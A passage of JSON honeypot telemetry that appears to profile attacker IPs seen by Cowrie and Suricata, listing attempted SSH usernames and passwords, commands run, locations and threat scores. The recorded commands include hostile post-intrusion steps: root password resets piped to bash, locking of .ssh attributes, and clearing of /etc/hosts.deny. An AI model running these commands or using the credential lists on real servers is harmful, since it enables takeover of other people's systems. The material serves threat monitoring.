        "first_seen_30d": "2026-04-28T02:12:59.979000+00:00",
        "last_seen_30d": "2026-04-28T02:31:57.789000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 52
      }
    },
    "217.154.192.185": {
      "attack_count": 219,
      "first_seen": "2026-04-30T08:14:05.555Z",
      "last_seen": "2026-04-30T08:41:41.094Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "testuser",
        "345gs5662d34",
        "admin",
        "administrator",
        "debian",
        "devops",
        "dockeruser",
        "esuser",
        "ftptest",
        "guest01",
        "hadoop",
        "hldmserver",
        "postgres",
        "radmin",
        "sftp",
        "sftpuser",
        "testu",
        "user"
      ],
      "passwords_attempted": [
        "10021979612335",
        "111111",
        "123123",
        "1234",
        "12345678",
        "1234Qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "P@ssw0rdP@ssw0rd",
        "Password@123",
        "Qq123456",
        "a",
        "admin!@#123",
        "cisco",
        "debian123",
        "guest01",
        "hldmserver",
        "mailserver",
        "p@ssw0rd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123123\\nZyvO9MbPBzWH\\nZyvO9MbPBzWH\\n\"|passwd",
        "echo -e \"123123\\nZyvO9MbPBzWH\\nZyvO9MbPBzWH\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:14:05.555000+00:00",
        "last_seen_30d": "2026-04-30T08:42:48.591000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "179.218.63.2": {
      "attack_count": 211,
      "first_seen": "2026-04-21T15:18:28.954Z",
      "last_seen": "2026-04-21T15:52:20.839Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "barcelona",
        "ftpuser",
        "newuser",
        "oracle",
        "sammy",
        "space",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1234",
        "123456a",
        "2wsx3EDC",
        "345gs5662d34",
        "Abcd12345!",
        "Ftpuser15!",
        "Oracle6",
        "Root9999@#",
        "Sammy01!",
        "Tencent@2025",
        "Testtest1",
        "barcelona",
        "iloveyou",
        "qwe#1234",
        "qwerqwer1",
        "root0@123",
        "space"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aQhiF2MGF1V1\"|chpasswd|bash",
        "echo \"root:egoLzItTn7BO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:18:28.954000+00:00",
        "last_seen_30d": "2026-04-21T15:53:24.102000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 44
      }
    },
    "103.72.8.163": {
      "attack_count": 202,
      "first_seen": "2026-04-21T13:24:26.488Z",
      "last_seen": "2026-04-21T13:30:06.964Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T13:24:26.488000+00:00",
        "last_seen_30d": "2026-04-21T13:31:08.306000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 102
      }
    },
    "112.216.108.62": {
      "attack_count": 183,
      "first_seen": "2026-04-04T22:57:31.544Z",
      "last_seen": "2026-04-04T23:58:17.793Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "sammy",
        "345gs5662d34",
        "ali",
        "bot",
        "deploy",
        "dev",
        "dima",
        "steam",
        "user",
        "weblogic"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A12345678B",
        "Ak123456",
        "DDbb123123",
        "Dev06",
        "Qazwsx$",
        "Qwer123$",
        "Steam29",
        "User1@",
        "Yx123456.",
        "ZAQ!2wsx2021$",
        "abc123..",
        "ali06!",
        "asdf",
        "bot25",
        "cyber123",
        "ddDD000",
        "dima",
        "q1w2e3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:twbhZhqNv2rQ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Andong",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:57:31.544000+00:00",
        "last_seen_30d": "2026-04-04T23:59:25.783000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 59
      }
    },
    "45.61.146.51": {
      "attack_count": 178,
      "first_seen": "2026-04-30T15:55:57.647Z",
      "last_seen": "2026-04-30T16:01:35.111Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 213186,
      "as_org": "Yanoor Islam Khan",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:55:57.647000+00:00",
        "last_seen_30d": "2026-04-30T16:02:38.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 90
      }
    },
    "95.208.74.83": {
      "attack_count": 168,
      "first_seen": "2026-04-01T05:41:10.256Z",
      "last_seen": "2026-04-01T06:46:53.439Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ4esz",
        "123456Abc",
        "1q2q3q4q5q",
        "233",
        "3141592654",
        "3245gs5662d34",
        "345gs5662d34",
        "Gx123456@",
        "Kingdee@123",
        "Passw0rD",
        "Qwer123$",
        "Qwerty.2024",
        "Ud123456",
        "Zy123456789",
        "bgpas29405",
        "donald123",
        "lanyue@2024",
        "liqing",
        "ln5203344***",
        "q1w2e3r4Q!W@E#R$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:XQuSNWMDjg5E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Sulmingen",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:41:10.256000+00:00",
        "last_seen_30d": "2026-04-01T06:47:58.117000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 56
      }
    },
    "113.224.16.224": {
      "attack_count": 164,
      "first_seen": "2026-04-16T04:28:16.699Z",
      "last_seen": "2026-04-16T04:34:11.931Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T04:28:16.699000+00:00",
        "last_seen_30d": "2026-04-16T04:35:22.114000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 83
      }
    },
    "102.89.17.238": {
      "attack_count": 143,
      "first_seen": "2026-04-26T16:26:49.183Z",
      "last_seen": "2026-04-26T17:06:47.889Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "090908",
        "123!@#qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhnmju7",
        "Abcd1234!@#$",
        "Admin2026",
        "Password!@#$",
        "Qwe12",
        "Qwert.123456",
        "Temp2026",
        "Welkom001",
        "Welkom01!@#",
        "asd1234",
        "pa00word",
        "pa5$w0rd",
        "zaq@12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:N8mEAFd0VMpt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:26:49.183000+00:00",
        "last_seen_30d": "2026-04-26T17:07:53.887000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 38
      }
    },
    "185.17.3.162": {
      "attack_count": 128,
      "first_seen": "2026-04-05T11:56:25.840Z",
      "last_seen": "2026-04-05T13:18:23.283Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dell",
        "postgres",
        "teamspeak",
        "west"
      ],
      "passwords_attempted": [
        "Admin@123123",
        "Asd12345@",
        "Password10",
        "Qq123456789@",
        "Teamspeak25",
        "dell",
        "qwert",
        "redhat123",
        "root123456*",
        "west123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:DDWETkEWJr88\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 204997,
      "as_org": "First Server Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:56:25.840000+00:00",
        "last_seen_30d": "2026-04-05T13:19:33.565000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 41
      }
    },
    "185.239.87.249": {
      "attack_count": 118,
      "first_seen": "2026-04-17T15:57:50.225Z",
      "last_seen": "2026-04-17T16:39:02.062Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "sammy",
        "ali",
        "dev",
        "ftptest",
        "steam"
      ],
      "passwords_attempted": [
        "Ak123456",
        "Dev06",
        "Qazwsx$",
        "Qwer123$",
        "Steam29",
        "Yx123456.",
        "ali06!",
        "ftptest123456",
        "q@123456",
        "qwe",
        "sammy12345",
        "sammy17!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:uOSZnOERjxwb\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T15:57:50.225000+00:00",
        "last_seen_30d": "2026-04-17T16:40:10.868000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 31
      }
    },
    "218.0.63.25": {
      "attack_count": 86,
      "first_seen": "2026-04-13T09:18:52.736Z",
      "last_seen": "2026-04-13T10:04:49.459Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ec2-user",
        "frappe",
        "git",
        "oracle",
        "steam",
        "teamspeak"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1qaz2wsx3edc4rfv",
        "654321",
        "A123456789012",
        "Frappe28!",
        "Oracle12345",
        "Password1!",
        "Qwerty1",
        "Zl123456",
        "qazwsx01",
        "qazwsx1111111@123",
        "qazwsx9999#",
        "senha",
        "teamspeak14!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T09:18:52.736000+00:00",
        "last_seen_30d": "2026-04-13T10:14:56.668000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 43
      }
    },
    "36.41.173.197": {
      "attack_count": 72,
      "first_seen": "2026-04-23T10:39:55.371Z",
      "last_seen": "2026-04-23T11:41:06.314Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin1234",
        "bot",
        "oracle",
        "test",
        "test5",
        "tunneluser",
        "user"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "1q2w3e4r",
        "A123456Y",
        "Admin12345678#$",
        "QWERTYUI123",
        "Root123456789!@",
        "admin1234",
        "bot23",
        "password12346",
        "qazwsx!@#",
        "welcome1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T10:39:55.371000+00:00",
        "last_seen_30d": "2026-04-23T11:45:40.722000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 42
      }
    },
    "115.191.66.84": {
      "attack_count": 69,
      "first_seen": "2026-04-09T13:42:24.307Z",
      "last_seen": "2026-04-09T14:40:42.470Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "fedora",
        "n8n",
        "ppr",
        "teamspeak",
        "test1",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        ".",
        "123456!",
        "123456789",
        "Huawei12",
        "Vpn13!",
        "aaCC1234",
        "fedora",
        "n8n!2025",
        "ppr",
        "qazwsx1111@@",
        "qqAA123123",
        "teamspeak12345",
        "teste@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T13:42:24.307000+00:00",
        "last_seen_30d": "2026-04-09T14:41:52.445000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 44
      }
    },
    "35.189.252.109": {
      "attack_count": 68,
      "first_seen": "2026-04-24T09:05:36.446Z",
      "last_seen": "2026-04-24T09:06:28.794Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1271",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:05:36.446000+00:00",
        "last_seen_30d": "2026-04-24T09:07:38.100000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "103.173.7.165": {
      "attack_count": 50,
      "first_seen": "2026-04-20T07:52:19.023Z",
      "last_seen": "2026-04-20T07:57:43.525Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T07:52:19.023000+00:00",
        "last_seen_30d": "2026-04-20T07:58:51.346000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "31.148.197.113": {
      "attack_count": 50,
      "first_seen": "2026-04-28T18:27:51.277Z",
      "last_seen": "2026-04-28T18:33:36.661Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 210519,
      "as_org": "ToshTeleQabul MChJ",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:27:51.277000+00:00",
        "last_seen_30d": "2026-04-28T18:34:44.861000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "123.12.25.132": {
      "attack_count": 44,
      "first_seen": "2026-04-11T03:12:17.762Z",
